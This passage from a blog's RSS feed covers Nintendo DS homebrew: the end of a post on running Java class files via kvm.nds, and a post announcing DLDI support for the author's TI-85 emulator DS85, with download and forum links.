Run kvm.nds, then select a .class file to run. There are a few examples testing various stuff.<br />
Don't forget to DLDI-patch the kvm.nds</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2007/08/08/java-for-nds/feed/</wfw:commentRss>
		<slash:comments>58</slash:comments>
		</item>
		<item>
		<title>DS85 with DLDI support</title>
		<link>http://blog.davr.org/2007/08/01/ds85-with-dldi-support/</link>
		<comments>http://blog.davr.org/2007/08/01/ds85-with-dldi-support/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 20:09:53 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[DS85]]></category>
		<category><![CDATA[Nintendo DS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://blog.davr.org/2007/08/01/ds85-with-dldi-support/</guid>
		<description><![CDATA[Someone has added DLDI support to my old TI-85 Emulator. I don't have any exotic devices, so I can't say how well it works. You can download it here: ds85_r3.rar There's a forum thread about it going on here: teamcylops.com Let me know if it works/doesn't work on your particular device.]]></description>
			<content:encoded><![CDATA[<p>Someone has added DLDI support to my old TI-85 Emulator. I don't have any exotic devices, so I can't say how well it works.</p>
<p>You can download it here: <a href="http://davr.org/ds2/ds85_r3.rar">ds85_r3.rar</a></p>
<p>There's a forum thread about it going on here: <a href="http://www.teamcyclops.com/forum/showthread.php?t=839&#038;page=3">teamcylops.com</a></p>
<p>Let me know if it works/doesn't work on your particular device.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2007/08/01/ds85-with-dldi-support/feed/</wfw:commentRss>
		<slash:comments>55</slash:comments>
		</item>
	</channel>
</rss>
